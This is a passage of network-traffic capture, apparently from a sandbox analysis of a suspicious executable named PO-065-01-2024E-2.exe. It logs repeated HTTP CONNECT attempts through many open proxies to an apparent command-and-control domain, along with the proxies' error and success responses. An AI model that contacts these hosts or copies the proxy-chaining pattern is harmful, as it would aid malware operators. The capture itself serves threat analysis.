Mar 11, 2024 16:39:47.948612928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.705220938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.10	52875	185.162.229.215	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.949489117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.103826046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.10	52763	98.162.25.7	31653	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.950402021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.10	52823	98.162.25.4	31654	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.950500965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.10	52698	103.200.135.229	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.950660944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.10	52890	172.64.80.55	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.954066992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.108798027 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.10	52866	38.54.101.254	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.954440117 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:50.131262064 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.10	52272	132.148.154.97	31406	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.955792904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.973561049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.994393110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.082864046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.176589966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:24.176275969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:36.285630941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:00.285649061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:48.330194950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.10	52690	175.183.82.221	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.962533951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.812342882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.10	52130	139.162.238.184	39652	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.970005989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.973563910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.994369984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.082863092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.176559925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:24.176274061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:36.287529945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.10	52694	116.199.168.1	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.970746994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.10	52928	104.16.107.142	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.985899925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.140583038 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.10	52772	3.122.84.99	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.985899925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.290275097 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:48 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.10	52934	104.19.233.117	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.988172054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.146701097 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.10	52937	104.17.62.87	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.988703012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.146936893 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.10	52804	147.75.34.86	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.989619017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.296515942 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.10	52839	43.129.228.46	7891	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.993983030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.705219030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.10	52858	98.170.57.231	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.994087934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.10	52178	45.178.133.75	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.994121075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.308495998 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.10	52939	172.67.35.15	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.995147943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.149635077 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.10	52830	128.140.26.12	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.999193907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.10	52749	178.128.113.118	23128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.001461029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.785748959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.989190102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.350049019 CET	1286	IN	HTTP/1.1 502 Bad Gateway Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3768 X-Squid-Error: ERR_CONNECT_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 